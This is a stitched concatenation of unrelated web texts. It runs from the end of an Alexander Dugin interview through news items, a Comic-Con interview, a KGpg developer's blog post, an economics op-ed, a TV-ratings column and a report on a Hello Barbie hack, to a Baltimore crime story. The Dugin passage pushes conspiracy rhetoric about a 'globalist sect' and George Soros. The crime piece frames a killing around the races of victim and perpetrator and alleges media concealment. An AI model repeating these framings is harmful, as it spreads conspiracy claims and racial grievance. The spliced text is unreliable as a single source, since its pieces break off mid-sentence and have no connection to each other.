- Absolutely. And national sovereignty is very important there. It defends identities. Identities can be different. They can coincide or not. But this does not mean necessarily war on a country. We can accept your differences in a positive way. Americans and Russians are different, Europeans and Americans and Russians are different.
The globalists are trying to make a kind of pacifist dream by killing countries, killing differences. We need to affirm our identities and that is the way of understanding each other. That is Putin`s position as well. He is not imperialist. He is not a fanatic.
We are in a situation when there is no more hostility in our countries. I used to be anti-Americanist during the tenure of Obama or Bush not because I don’t like Americans. I love America, but I hate the globalist's agenda. Everybody in Russia has to understand that America was highjacked by a globalist sect. But now Trump is restoring American dignity. And we stopped immediately to hate America because it is not Americans who we hated before - It was the globalist elite.
Globalism is the problem of every country and every person. Russians as well are under attack by globalism. We need to be united. I believe that great “multipolarity” can lead to cooperation of our countries and our people. But we need to fight against our common enemies. We have to deal with Mr. Soros, who tried to overthrow our governments and tries to create a color revolution in our countries.
You need to understand that Russia is no longer a communist country. We can’t apply old Cold War models. Russia is a traditional, Christian country just as well as America is. And radical Islam, supported by globalists, is our common enemy. What is also important about Russia is that we are hearing the voice of the people who are dying for our freedom and our security. I think it is necessary to hear what people from the army say. We are losing our guys fighting against radical Islamists.
- One of the liberal politicians criticized Putin for invading Ukraine but she couldn't even remember the exact name of the country and actually blamed Putin for invading Korea. How do we deal with the leadership that is this wracked in mind?
- This is a good example of how globalists understand the world. North Korea, Ukraine or Aleppo is the same for them. It is all virtual for them. They are sending American people to die without any understanding of the situation. For them - it’s a game. They have no responsibility for the people. They don’t understand history. They don’t know geography. And they are speaking about Putin and Korea. That shows their knowledge about Russia, about Putin, and how deep they understand the geopolitical world. That is characteristic for globalists. They have a huge lack of culture because they are against any culture.
We need to make our strategy an educational one. Only with a very uneducated and stupid audience can globalists reach their goal.
But now, Americans have shown that they are not such idiots like the globalists were thinking. Americans have chosen what they want. It is time to think about the future.
The globalists remind me of the black periods of Soviet history - Stalin`s style of lie. They are trying to impose their order and ignoring the position of the others. Now, we can fight together. The future world should be based on this defense of information and identity, and religions. And we, Russians, want nothing more; we don’t want to occupy anybody. We need to secure our boarders, that’s all. We are trying to create a Christian society accepting and respecting minorities. And we are demonized exactly because it works.
The globalists tried to convince the world that “Putin has helped Trump” to win election with all these stupid stories about hacking and so on…But Putin really has helped Trump by showing an example how to defend realist values.
-Exactly! Russia is an example of pulling out globalism and I salute you for that.
- Absolutely. But I think that now the situation has a little bit changed. This is very important for human history. Now, the initiative of those who are changing the world is once more in the hands of Americans, in the hands of President Trump.
Russia has made a kind of introduction to future multipolarity. But now everything depends on the US and on President Trump. He is capable of saving people all around the world from globalism and he has already begun this really spiritual fight.
America is a leader in this world. After Brexit and after Trump's Presidential election, it is a turning point in history. I think that the initiative belongs to you and you need to make all efforts because you are in the best situation. And I think you need to concentrate on the vision of the future.
-Alexander, what are some of the best websites for people to visit to know more about your books?
- I think, 4pt.su is dedicated to my fourth political theory. Also, there are many texts in English on Katehon.com. Some of my books concerning 4th political theory, a book about Heidegger, and a book on Putin`s geopolitics have been published in America. There are many other books that are now translated into English.
When people read my books, they may have an opposite view, but I think |
working out is expanding out footprint. In the past, where we’ve been mostly in the confines of the convention center, and maybe one room at an adjacent hotel, we now have utilized some of the ballrooms over at the Bayfront Hilton. We’ve reached agreements with hotels to start using the ballrooms and meeting spaces at those as well, and maybe utilizing some public space, also. I think there’ll be more of a campus-like atmosphere. 120,000 people is a huge amount. Trying to have them all fit in one facility just isn’t realistic, so by utilizing those hotels and meeting spaces it should decrease that crowded feelings, and make things run a little bit smoother, we hope. And also could have the benefit, I hate to say this, but allow a few more people to attend the show.
Nrama: I talked to Mark Millar recently about the Kapow Comic Con in London, and they’re broadcasting some of their panels and programming online. Has Comic-Con given any consideration to that?
Glanzer: We’ve been asked about that, and it’s something we consider every year. One of the great things about Comic-Con is that you have an opportunity to experience something unique. There are some things at times that we will simulcast, like the masquerade, but that’s all done in-house. The task, sadly, that we have, is not even having a place to simulcast. It would be great it we could have another 3,000-person room, but just right now we don’t.
But, again, all options are open for everything. Each year we spend a lot of time trying to figure out how best to make sure our attendees can be inconvenienced the least, which is another reason why I think Saturday was so frustrating for us.
Nrama: And on the general issue of crowding, has any consideration been given to limiting the number of pro and press badges?
Glanzer: Yes. In fact, this year I think we have limitations on both of those. Just because it’s important for the attendees who want to attend to be able to attend. We have a lot of professionals who give up their time and expertise and we’re very grateful for that. Press, who come in and cover the show and talk about what’s going on is great, too. But yes, there has been some talk of limiting that. In fact, without our department, we let members of the media know that it may be curtailed this year, and that if they are not sure they could register for press, they should make alternate plans.
Nrama: That seems like a difficult thing to tackle, because obviously you want the people who should be there to be there, but at the same time, there’s been a perception that it’s fairly easy to get a press badge.
Glanzer: I think there is that perception, and there was a time when I think it was very easy, but also that’s because we’ve always treated our mainstream press as bloggers, podcasters, people who write for fanzines, and things of that nature. While there might be national or international press that cover the show, typically they’ll write about us once a year. So for us, the most important people, in terms of press, were sometimes student newspapers. Or people who had their own fanzine, or there own blog. I think that gave the perception of, “Oh, you know what? All I have to do is do this, and I can get in.” Well, if you met the criteria, constant coverage and all that, you probably had a better chance of getting in than some others. We never want to eliminate those people who are really the backbone of the fan industry. It’s a delicate line that we have to walk. Our mainstream press has always been very different than what the norm might consider mainstream press.
Nrama: Obviously for several years now people have made the accusation that Comic-Con isn’t really about comic books anymore. Which frustrates me, because I always tell people that there are more publishers than any other convention, and more pros make it a must-attend than any other convention.
Saying that, we don’t know for sure, but I think the general assumption is that the frenzy of people buying passes on Saturday were largely the “newer” crowd of attendees who camp out at Hall H and are more interested in the movie and TV programming.
Glanzer: Actually, I don’t know. Before Hollywood came in, one of the reasons we started Wednesday night’s preview night was because there was such a crush of people on Thursday mornings that they would lineup at about 3 a.m. And those are for the comic panels. Being a long-time convention-goer, even before I started working for Comic-Con, I was pretty hardcore about waiting in line. It was not uncommon for us to sit in the street and wait for the doors to open.
You’re right, there’s no way to know who it was who bought the majority of these passes on Saturday. Comic-Con has more comics publishers than any other convention in the United States. It has more comics professionals than any other convention in the United States. It has more comics panels and programs than any other convention in the United States. I would argue even maybe the world. There are some events that have more people through the door, but in terms of an event like Comic-Con, when you can have seminars with these people, or workshops and all that, a lot of [other shows] don’t necessarily offer that. It’s a unique event.
Even if a majority of these people were non-comics fans who bought these passes, Hall H only seats 6,500 people. And while there may be another thousand people in line, that still leaves roughly 115,000-plus people who are doing other things.
Nrama: I think the convention has just gotten bigger in every way — it used to be that while movie and TV panels would fill up, comic book-specific ones were still pretty easy to get into, but now even those attract long lines.
Glanzer: And that’s frustrating for us, too, because you want those people to have as diverse of an audience as you can. Our reason for being is to introduce a wider group of people to an industry that for so long has been not embraced. When you consider comic books as an American art form, it’s silly that they’re held in such a higher regard in Europe, or in South America, or Asia, then in their own backyard.
We love that we have to put our comics programming in even larger and still larger rooms, because I think there’s the belief that if you like a superhero movie, you don’t like comic books. Or if you like comic books, you can’t possibly go to the movies. That’s not the case. I think we have incredibly well-rounded people who like gaming, who like toys, who like movies, who like comics, who like art, who like technology. It’s a diversified group. The psychographics of the group are amazingly diverse. I think there’s always the misconception that if you’re a movie fan, you can’t possible like comics, and vice versa, but our analysis has shown that’s just not the case.
Nrama: I think it’s fair to say that in the last few years the growth of interest, popularity and cultural influence of Comic-Con has been exponential, and Saturday reflects that. Just from your own experience as someone that’s heavily involved in the convention, do you see things continuing in that direction indefinitely, or maybe level out and return to relative normality at some point?
Glanzer: I have been the person who has always said, “Sometimes it can be too much of a good thing.” People ask, can we have maybe a five-day event, or one that encompasses two weekends. You’re asking people to leave their stores for a week, you’re asking pros to not work on stuff for a week. I think there’s probably more negatives than positives.
Will it always be this way? I don’t know if it will. Especially when you have situations where people are so frustrated. Somebody had said to me recently, “Wow, you must be so excited, you guys sold out.” No, we’re not excited. You never want to have an event that people can’t get to. Like I said before, yeah, there’s 126,000 people who will be there this year, but how many people couldn’t come who wanted to come? It frustrates me that everybody who wants to come to Comic-Con can’t.
What’s the future for Comic-Con? I don’t know. I hope our fans stick with us. They’ve always been gracious and patient, we’re incredibly sorry about the turn of events that happened, and I hope they stick with us for the long-term, because without them we don’t have a show.U.S., Russian and U.N. trilateral talks on Syria scheduled for Monday have been postponed, says U.N. Special Envoy for Syria Staffan de Mistura.
De Mistura says he does not know why the United States has decided against attending the meeting early next week, but believes Washington remains committed to the three-way discussions on the Syrian situation.
"I would say that the indication I got from Washington is exactly that, that there is clearly an intention to maintain and resume these trilateral meetings," he said. "And, the date and the circumstances were not conducive for this to happen on Monday, but that is certainly their intention."
In the meantime, de Mistura says he will be holding what he calls a very intense bilateral meeting on Monday with Russian Deputy Foreign Minister Gennady Gatilov. He says there are many things to discuss regarding the upcoming meeting in the Kazakh capital, Astana, and on the Geneva peace talks.
"Regarding Astana, it is still on as forecast," he said. "We will be involved again on a senior technical level in order to support what, at the moment, does not seem to be working, which is a cessation of hostilities."
Russia, Turkey and Iran are sponsors of the Astana negotiations on May 3 and 4, which will focus on arranging a cease-fire in Syria so peace talks in Geneva can proceed.
De Mistura says he will be watching developments on the ground to make sure the talks, set to resume sometime in May, have the best possible chance of success.The killing of 49 people at a gay nightclub in Florida has shaken America’s LGBT community.
The attack has led some of the community’s members to consider carrying guns.
A gun range in Houston, Texas is now offering free training to LGBT people. LGBT is short for the words lesbian, gay, bisexual and transgender. Many people have signed up for the classes because they fear they could be a victim of violence.
Texas law requires an operating permit for people to carry a gun, whether it is concealed or not.
“There is a target that has been painted on people’s backs now if they are part of the LGBT community,” class member Cheryl Burgin said.
Burgin knows how to use a gun. She once served in the U.S. Marine Corps. She now feels the need to have her own gun to protect herself and her wife.
Even with a legal permit in Texas, guns are barred from some public places, such as schools and hospitals. They are also not permitted in most drinking establishments and nightclubs, like the one attacked in Orlando.
Burgin admits that taking a gun into a bar or club would not be a good idea. “You don’t want to mix alcohol and firearms. It is not the smartest thing to take it into a club. But if I need to have it nearby, I will make sure I have it with me.”
Jess Sanford is General Manager of Houston’s Shiloh Gun Range and 3D Archery. He says his decision to drop the usual $69 class fee for the LGBT community has been warmly received.
“What we thought was going to be two classes, with maybe 40 people total, has now just totally blown up to 13 classes, and we've got over 550 signed up, with over a hundred done already.”
He says people receiving the training enjoy being with like-minded people who do not judge them.
Desaree Reyes and her wife, Marcella, said they decided to take the training because of possible hostility to their same-sex marriage. But Desaree admits she is not sure how she would react to an attack like the one in Orlando.
“I don’t feel that just because I have my license that I am going to be ready,” she said. But she added that carrying a weapon will give her better piece of mind.
“I do feel like at least I have that protection…so that if somebody were to come towards me or my family, I'm already ready to protect myself.”
The gay community includes people on both sides of the gun control debate.
Pink Pistols is an LGBT gun rights group. It was already urging members of the community to arm themselves before Orlando. A representative of the group, Gwendolyn Patton, released a statement after the shooting.
“Guns did not do this. A human being did this, a dead human being. Our job now is not to demonize the man’s tools, but to condemn his acts and work to prevent such acts in the future.”
Other LGBT rights groups, including Human Rights Campaign, have called for stronger gun control measures. “The safety of the LGBTQ community depends on our ability to end both the hatred toward our community, and the epidemic of gun violence that has spiraled out of control,” HRC president Chad Griffin said.
Griffin blamed the mass shooting on “a toxic combination of two things: a deranged, unstable individual who had been conditioned to hate (LGBT) people, and easy access to military-style guns.”
I’m Bryan Lynn.
Greg Flakus reported this story for VOANews.com. Bryan Lynn adapted his report for Learning English. George Grow was the editor.
We want to hear from you. Do you think gun training for the gay community is a good idea? Write to us in the Comments section, and visit our Facebook page.
________________________________________________________________
Words in This Story
conceal – v. keep something hidden
piece of mind – n. a feeling of being safe or protected
epidemic – n. a sudden, widespread growth of something
deranged – adj. behaving in a dangerous way because of a mental disorder
gay – n. a person sexually attracted to someone who is the same sex
nightclub – n. a place that offers entertainment and drinks
lesbian – n. a woman who is sexually attracted to other women
bisexual – n. a person sexually attracted to someone who is the same sex or the opposite sex
transgender – adj. a person who expresses or identifies with a gender different from the one they were born withJudge rejects charges against alleged 9/11 hijacker
Mohammed al-Qahtani remains in custody
A Guantanamo Bay military judge has refused to approve prosecutors' charges against a prisoner accused of planning to be the "20th hijacker" on Sept. 11, 2001.
Mohammed al-Qahtani will remain in custody as an enemy combatant, and the military can refile charges.
The United States had been seeking the death penalty against al-Qahtani and five other men in connection with the Sept. 11 attacks. Charges against the other five were approved by Susan Crawford, the convening authority for military commissions.
The others are alleged 9/11 mastermind Khalid Sheikh Mohammed; Ramzi bin al-Shibh, accused of being an intermediary between the hijackers and al Qaeda leaders and finding flight schools for the hijackers; Ali Abd al-Aziz Ali, alleged to have sent $120,000 to hijackers and arranging travel for nine of them; Mustafa Ahmed al-Hawsawi, accused of providing the hijackers with money, clothes and credit cards; and Walid bin Attash, who is accused of training two of the 9/11 hijackers and assisting in the hijacking plan.
All six suspects are accused of helping plan the attacks in which hijackers flew two passenger jets into the World Trade Center in New York and another into the Pentagon in Washington. Another hijacked plane crashed near Shanksville, Pennsylvania. According to the 9/11 commission report, 2,974 people were killed in the attacks, not including the 19 hijackers.
© AlaskaReport. All Rights Reserved.During the last days it became quite obvious to me that I'm not really productive for KDE at the moment. When the remember the soft feature freeze-mail came in I hurried to get at least one feature for KGpg listed at all. And then 10 days passed with me trying half a dozen times to do anything in KGpg at all and failing. Half of this is that I'm easily distracted by a bunch of other stuff which is more "mine". I'm not a GUI guy, so things like hacking in CMake, hacking my own SMTP engine and stuff are more naturally to me. But even those things don't thrill me the way they used to. And the other half is that I am just not motivated at all. Too bad, really.
Even if I hang around basically always in front of my computers I don't really get things done at the moment. One or two small things a day are much currently, while I sit around most of the time bored by everything. So KGpg will probably not get anything new for 4.6 and I don't know if I find the mood to really improve anything else.
Don't get me wrong, I don't want to leave. If anyone wants to start I'm right here, answering probably any question that might come up. Reviewing patches. Committing them. Maybe even short testing. KGpg has been a one-man-show since the 4.0 release. I would be really happy if that could change at least a bit. I don't need a huge team. One or two people that would do some small things every now and then would be totally ok. You don't need to be a crypto freak (neither am I). But if you are interested in some housekeeping or polishing I will give you any help you need.CLOSE Rex Tillerson is Donald Trump's pick for Secretary of State. While Tillerson was at ExxonMobil, new reports show the company made business deals with countries who were under U.S. sanctions at the time. USA TODAY NETWORK
ExxonMobil CEO Rex Tillerson is President-elect Donald Trump's pick for secretary of State. (Photo11: 2006 photo by LM Otero, AP)
President-elect Donald Trump's nominee for secretary of State expressed interest in a 2016 interview as CEO of ExxonMobil about doing business with Iran if sanctions were lifted, a view that puts him at odds with Republicans weighing his confirmation.
Rex Tillerson is scheduled to testify Wednesday at his confirmation hearing before the Senate Foreign Relations Committee, which includes members opposed to deals between U.S. companies and Iran. Such business ties are possible following the lifting of sanctions under the nuclear deal negotiated by Iran, the Obama administration and five other world powers.
Last March, Tillerson told CNBC that his company would consider doing business in oil-rich Iran if the opportunity arose.
While U.S. companies are still unable to conduct business there, a lot of European competitors can, Tillerson told the business cable channel. Investment opportunities with Iran opened up after some sanctions were lifted as part of the nuclear deal, which went into effect a year ago.
“I also learned a long time ago that sometimes being the first in is not necessarily best,” Tillerson said. “We'll wait and see if things open up for U.S. companies. We would certainly take a look because it's a huge resource-owning country.”
Republicans in Congress oppose the nuclear deal, saying it puts billions of dollars in the hands of an anti-U.S. regime that sponsors terrorism around the world. Last year, they moved to block financing for a large sale of Boeing commercial aircraft to Iran. Trump also has assailed the nuclear pact and vowed to scrap it.
ExxonMobil spokesman Alan Jeffers told USA TODAY on Tuesday that Tillerson, who resigned from the company to join Trump's Cabinet, was answering a hypothetical question in the CNBC interview. "Anywhere we can work legally, we would do so, but the current situation in Iran now is not one that allows us to do that," Jeffers said.
According to correspondence between ExxonMobil and the U.S. Securities and Exchange Commission, the company did business with Iran through a European joint venture, Infineum, from 2003 to 2005, when U.S. companies were barred from doing business with Tehran.
The oil giant said the transactions were legal because they were conducted and managed by a European company co-owned with Shell whose management was independent and involved no U.S. personnel.
Tillerson was a senior vice president at ExxonMobil from August 2001 until he became president and director in March 2004. He became chairman and chief executive on Jan. 1, 2006.
In a letter to USA TODAY on Tuesday, Suzanne McCarron, ExxonMobil’s vice president for public and government affairs, said: “The transactions in question complied fully with all laws and regulations and no federal agency took action following the company’s responses to the SEC’s routine inquiry more than a decade ago.”
“The company had limited business in the countries during the 2003-2005 period asked about by the SEC, which strictly complied with all applicable regulations,” McCarron said.
Jeffers said no such joint ventures are currently in place with foreign companies doing business in Iran.
Tillerson's career at ExxonMobil involved finding, exploring and producing petroleum, and he was unlikely to have been involved in the joint venture before he became president of the company in 2004, Jeffers said.
"Prior to his time as president, he never would have been responsible for Infineum operations," Jeffers said.
Sen. Bob Corker, R-Tenn., chairman of the Foreign Relations Committee, told Fox News on Tuesday that there was a loophole in the legislation that existed that allowed doing business with Iran. But that was closed in 2012.
"I don't think that any violations took place in that regard," Corker said. "But these are legitimate questions, and I'm sure he (Tillerson) is going to be very prepared to answer those."
Read or Share this story: http://usat.ly/2js5mlYDisruptive mobile payments company Square is making a number of announcements today relating to growth and new user features. First, the company is dropping its new user limits.
For background, Square offers an iPhone, Android and iPad app which allows merchants to process and manage credit card transactions with a handy little credit card swiping device that plugs into the headset/microphone jack. The device and service is the brainchild of Twitter co-founder Jack Dorsey and Jim McKelvey. In May, the company debuted a new service to replace the cash register and loyalty card, and in June, Square raised a $100 million in funding, which valued the company above $1 billion.
Historically, if a new Square user processed more than $1000 in transactions per week, anything above that $1000 will be held for a certain amount of time. This time period ranged from a few hours to as long as a month. How much was help was also a variable amount based on an algorithm that scored merchants. Users had the ability to negotiate and work with Square to raise these limits, but it was on a case by case basis.
Today, Square, which launched to the public exactly a year ago today, is abolishing those limits so all new businesses who use card reader will have funds triggered for processing the same day, the proceeds arriving in the merchants bank accounts the next business day. Clearly this ability to provide merchant money as fast as possible despite being a new user is just another way Square is trying to disrupt the payments space for businesses, especially small businesses who may feel the loss of these limits more than a large enterprise. As you may remember, Square also dropped its $0.15 per transaction charge for businesses a few months ago earlier this year.
Square’s Keith Rabois also revealed a number of growth statistics for the company, including that the payments service is now processing $2 billion in payments volume per year. To date, Square has been activated by 800,000 merchants which is up from 500,000 card readers shipped in May. Rabois says that Square’s merchants are now 10% of the reach of the Visa/MasterCard world.
Rabois says that the new user limit drop is part of Square’s greater vision of eliminating the need for a merchant account, and giving businesses one simple and easy to use product without the fees, and limitations associated with most payments product.
“We’re not going to sleep until we improve the entire experience of buying and selling,” he says. “Every month we’ll have improvements to the product.” In August, Square updated its mobile apps for a more fast, and seamless payments experience.
With more products and improvements set to debut soon, it should be interesting to see how Square continues to innovate and build out its user base. Stay tuned.Hilarie Burton has bravely come forward to elaborate on the abuse allegations against One Tree Hill creator Mark Schwahn.
If you don’t know, female cast and crew came forward to support the sexual misconduct claims against the creator of the show with an open letter.
Hilarie said one time, Schwahn invited her to listen in on a phone call with a CW exec in his limo.
“I’m leaning in listening, and when it’s Dawn Ostroff‘s turn to talk, he just leans over and starts kissing me,” Hilarie told Variety. “I push him off, but I can’t say anything because he’s on the phone fighting for our show to stay on the air. I’m just in this position where I’m thinking, ‘You’ve got to take it, Hil. Just laugh it off. You’ll get to Wilmington in 45 minutes.’”
Hilarie also detailed another incident at a party after they wrapped filming an episode in Texas.
ALSO READ: The Female Cast & Crew of ‘The Royals’ Accuse Showrunner Mark Schwahn of Sexual Harassment
“I’m at the bar waiting to get drinks for the hairdresser and me, and he leans over and he kisses me in front of everybody,” she said. “Right on the mouth. It was something I had to get out of. It wasn’t a peck. It wasn’t ‘Hey, sis, how’s your day?’ It was a boyfriend kiss.”
Hilarie also shared a story where she went to a concert with Schwahn and his wife, as well as her co-star Danneel Harris. At the concert, Schwahn put his hand down Hilarie‘s pants.Milton Friedman, the Nobel Prize-winning economist who died in 2004, became famous for his influential theory known as monetarism, which tried to explain what produces inflation and offer a prescription on how to control it. Monetarism became the foundation for a great deal of monetary policy in this and other countries for decades. It has now been half a century since Friedman first expounded on monetarism and it is increasingly apparent that the time has come to lay his theory to rest. Friedman’s basic idea, which was really the brainchild of early 20th century economist Irving Fisher, was elegant in its simplicity. Measure the amount of money — cash and near-cash deposits and investments — sloshing around in the economy. If the growth in this variable exceeded the increase in national gross domestic product (GDP), you got inflation. If the expansion of the money supply was faster than GDP growth by a large percentage, you got a lot of inflation.
Monetarism, Milton Friedman's long-dominant economic theory, seems poised for the intellectual dust bin. ( Illustration by Charles Weiss )
Yet after more than seven years of double-digit growth in Canada’s money supply, we still do not have a whiff of the high inflation that many economists steeped in the monetarist credo predicted. Friedman’s argument that printing money would inevitably lead to soaring prices no longer seems to hold water. The Bank of Canada first latched onto monetarism during the 1970s, when both inflation and unemployment were near double digits and increasing simultaneously. With Gerald Bouey as governor, the bank began limiting the growth of Canada’s money supply à la Friedman to produce an acceptable rate of inflation. Eventually, Canada’s inflation rate, which had exceeded 10 per cent in some years, declined, although some economists argued that the fall was more because of a recession in the early ’80s than due to monetary policy.
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But by the early 1990s, with inflation high again despite a 15-year monetarist experiment at the central bank, Canada’s policy-makers moved away from a strict focus on the money supply and toward targeting the country’s inflation rate. That was the first inkling that monetarism was losing its lustre in Ottawa. Within a couple of years of inflation targeting, consumer prices dropped. Inflation, the scourge of the Canadian economy for two decades, has remained low ever since. Then came 2008, when a localized mortgage crisis turned into a worldwide recession. Economic growth plunged and unemployment soared. In response, most governments started pumping new money into their economies — often through programs in which central banks would buy non-performing loans from teetering banks and other companies. During this period we witnessed a revival of another old economic theory known as Keynesianism, an approach to macroeconomic policy that Friedman thought was inflationary and which led him to develop his monetarist counter-revolution. The last half decade or so has demonstrated that old theories die hard and slow. Many economists and investment types, who came of age in the monetarist rather than the Keynesian era, began warning of impending hyperinflation following the stimulative actions of central banks and governments after the 2008 global economic and financial crisis. But it didn’t turn out that way. Inflation in Canada, throughout Europe and in the United States has remained relatively low for years despite so much new money getting pumped into these economies. For whatever reason, money supply growth in most countries no longer tracks the consumer price index in any meaningful way. Between 2009 and 2013, for example, Canada’s money supply grew by an annual average of almost 10 per cent. During the same period, the national inflation rate averaged less than 1.5 per cent, a result Friedman and his acolytes would have seen as impossible. And in 2012, Canada’s money supply grew 25-per-cent faster than in 2011, yet the country’s inflation rate dropped by almost 50 per cent. Experts are finally changing their minds on this issue.
Where a few years ago hand-wringing about the impending inflation disaster was popular fodder on North America’s business stations, analysts talking about hyperinflation now appear overly gloomy or even antediluvian, much as Keynesians did a generation ago when monetarism was in the ascendant. Even bond markets, often the canary in the coal mine when it comes to rising inflation, are ignoring the issue. The key lesson here is that economic theories are not immutable truths, rather they come and go. Henry George’s single-tax theory was popular at the end of the 19th century. Walt Rostow’s The Stages of Economic Growth was required reading in universities in the 1960s. And, of course, Keynesianism has come and gone out of fashion twice in the past 70 years. Now Friedman’s monetarism, once the darling of countries as diverse as New Zealand and Chile, seems poised for the intellectual dust bin.
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Philip Demont is a freelance writer, economist and co-author of Turning Point: Moving Beyond Neoconservatism. Eugene Lang is BMO Visiting Fellow and Interim Co-Director, Glendon School of Public and International Affairs, and also co-author of Turning Point.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
The Mail on Sunday has criticized transgender non-profit group Gendered Intelligence – for teaching children about gender.
The newspaper ran a story yesterday about the group – which works to raise awareness of transgender people, including running a series of gender and anti-bullying workshops in schools.
The Mail said that it had “seen footage of Gendered Intelligence conducting workshops with primary classes”, in which founder Dr Jay Stewart explained to children he was a man, despite being assigned female at birth.
It added that “thousands of pupils” had the “controversial classes” – claiming that children were “encouraged to explore their gender identities”.
The newspaper quoted Margaret Morrisey of campaign group Parents Outloud – who appears to have previously condemned everything from TV series Call the Midwife to plans to ban smacking children when asked to by the newspaper.
Morrisey warned that children were “far, far too young” to learn about gender issues, adding: “We’re in danger of frightening children and making them feel they ought to feel like this.”
Comments on the article were shockingly hostile, with one popular comment claiming: “The people who advocate this kind of policy aught (sic) to be prosecuted for child abuse.”
The group spoke out against factual inaccuracies, writing: “There are some misconceptions in the article – mainly the alluding to Gendered Intelligence encouraging young people to become trans, which of course is not true.
“We are also disappointed that the Mail on Sunday were not entirely transparent in ordering our video for the purpose of writing a piece on our work in schools.”
Dr Jay Stewart said: “It’s so important to teach children in schools that they can be anything that they want to be, regardless of the gender that they have been given at birth. They can be engineers, nurses and politicians; they can be caring and kind, strong and forthright; they can wear what they like and look how they like. It’s okay for all children to be girlish, boyish or anything in-between.
“Our work at Gendered Intelligence includes going into primary school settings. It’s important because gender stereotyping and reinforcing gender norms start from a young age.
“If we are going to tackle the prejudice in society towards those who express their gender differently from what is considered the norm, we need to introduce teaching early on in a person’s education.”
He added: “Some members of the general public might make assumptions about what is actually being taught when we go into primary schools.
“Gendered Intelligence delivers age-appropriate workshops and assemblies by working closely with the senior leadership teams of each of the schools that we work with.
“We are proud of this work. Feedback from students and staff has always been positive. There are amazing schools who have done incredible work to make sure they include trans pupils and staff. We need to work towards implementing this good practice across the board. The Department for Education can play its part by ensuring that there is systemic change rather than ad-hoc good practice.
“We need more open discussions and debates about gender diversity in schools as awareness grows in society. This is a crucial step in ending transphobic and gender related bullying.
“Young trans people suffer prejudice, and even violence, at school, college and university. In turn, they experience high levels of poor mental health. That’s why our campaigns such as Stop Our Silence are so important.
“Trans people – like all people – have a right to an education in a safe environment. The only way to make school safe for trans pupils, and safe for everyone to express their gender, is to start talking about gender variance at the earliest possible opportunity.”
Kellie Maloney recently called for trans issues to be given greater prominence in schools.Sen. Ted Cruz (R-TX) is polarizing, to say the least. While the likes of Joe Scarborough have found Cruz to be a lying jerk, the senator received praise on Sunday from an unlikely suspect: James Carville. On This Week, Carville (a former Democratic strategist) said he disagreed with Cruz — but nonetheless showered him with praise.
RELATED: Ted Cruz Defends The Constitution, Challenges Biden To Gun Debate During NRA Convention Speech
“I think he is the most talented and fearless Republican politician I’ve seen in the last 30 years,” Carville asserted emphatically, as the panel discussed Cruz’s reported presidential aspirations. “I further think that he is going to run for president, and he is going to create something.”
That’s not to say Cruz would win, Carville noted, but “this guy has no fear. He just keeps plowing ahead. He is going to be something to watch.”
“I don’t agree with,” he added elsewhere in the segment, but: “This guy is something.” And “more talented than all of the other guys.”
Cruz garnered more attention when he recently went after members of his own party, deeming them “squishes.” If there’s one thing Cruz isn’t, Carville remarked, it’s squishy.
Take a look, via ABC:
Have a tip we should know? tips@mediaite.comMasked Scheduler's Ratings Smackdown Sunday nights have come a long way from when I started in the business. Sunday and Monday were the highest HUT (Households Using Television) nights of the week, and the networks would aggressively program Sunday with big event movies and specials.
When I was in research in New York, on Sunday night I would walk my dog Bella through my neighborhood in Flushing and look in people's windows to see which of the three networks (and it was almost always one of the three) they were watching.
Brandon Tartikoff would often call me on Sunday night to get a read on my dog-walking observations. This was all before emails and texting. In his book "The Last Great Ride," Brandon talked about this and said that one day, he expected me to be arrested as a Peeping Tom.
I bring this all up as I look at the Sunday numbers in the untethered viewing era and I fondly remember one of the last of the biggest Sunday nights when the three networks were watched by over 95% of all sets in use.
Here was the schedule:
- NBC: "One Flew Over the Cuckoo's Nest"
- CBS: "Gone with the Wind"
- ABC: "Elvis" (John Carpenter directed TV movie)
I believe the order of finish was ABC, CBS, NBC.
I'm certain that the Household share for each of those movies was greater than last night's four net-share. We've come a long way.
Tomorrow: One of the last big Monday nights and the origin of NIGHT OF A THOUSAND LAUGHS.
The weekend schedule limited by activities to:
- Kansas/Oklahoma State (ESPN)
- "Modern Family" (ABC, L+3)
- "Fastlane" (WWE Network) Big disappointment
- "Riverdale" (CW, L+3) Masked Wife a big fan
- "Girls" (HBO, L+SD)
Lots of catch-up viewing this coming week.
Find me on Twitter @maskedscheduler
Question me at masked.scheduler@gmail.com
Broadcast primetime live + same-day ratings for Sunday, March 5, 2017
The numbers for Sunday include a host of premieres and returns from hiatus:
Time Show Adults 18-49 Rating/Share Viewers (millions) 7 p.m. 60 Minutes (CBS) 1.1 |
and find out a person’s house or business. It’s just a matter of time until we are able to replace their servers with ours and have her say anything we want.”
Once Jakubowski took control of where the data was sent the snooping possibilities were apparent. The doll only listens in on a conversation when a button is pressed and the recorded audio is encrypted before being sent over the internet, but once a hacker has control of the doll the privacy features could be overridden.
It was the ease with which the doll was compromise that was most concerning. The information stored by the doll could allow hackers to take over a home Wi-Fi network and from there gain access to other internet connected devices, steal personal information and cause other problems for the owners, potentially without their knowledge.
This isn’t the first time that Hello Barbie has been placed under the privacy spotlight. On its release in March privacy campaigners warned that a child’s intimate conversations with their doll were being recorded and analysed and that it should not go on sale.
With a Hello Barbie in the hands of a child and carried everywhere they and their parents go, it could be the ultimate in audio surveillance device for miscreant hackers.
ToyTalk’s chief executive Oren Jacob said: “An enthusiastic researcher has reported finding some device data and called that a hack. While the path that researcher used to find that data is not obvious and not user-friendly, it important to note that all that information was already directly available to Hello Barbie customers through the Hello Barbie Companion App. No user data, no Barbie content, and no major security nor privacy protections has been compromised to our knowledge.”
Mattel, the manufacturers of Hello Barbie, did not respond to requests for comment.Reese Bowman, an eight-month-old white baby, was killed at the Rocket Tiers Daycare in Baltimore, MD. Police say that Leah Waldon, a 23-year-old black female, was caught on camera intentionally killing the baby.
Waldon has been charged with 1st-degree murder. Col. Stanley Branford of the Baltimore City Police described the incident as “torture.” He says that Walden can be seen striking, bodyslamming, and swinging the baby by one arm. She also appears to be smothering the baby with blankets and pillows. Brandford says that Bowman keeps looking around to make sure no one else can see what she is doing.
The murder has been a leading story in Baltimore for several days, but no media outlets are showing a picture of the baby or disclosing that the baby is white. Compare this to the murder of a black college student by a white college student at the University of Maryland. The same media outlets begin their articles by stating the race the of the perpetrator and the victim. Then they aggressively speculate about a possible racial motive.
The staff at Rocket Tiers is all black, so most of the children are probably black. Local media have featured reactions from black people almost exclusively. However, the victim is definitely white.Another week begins, and we have the European Nintendo Download Update details to sink our teeth into. This week has plenty to offer with some major retail releases, some rather nice New 3DS Virtual Console offerings, a range of promising download-only options and some fantastic demos and discounts. Let's get to it.
Wii U eShop
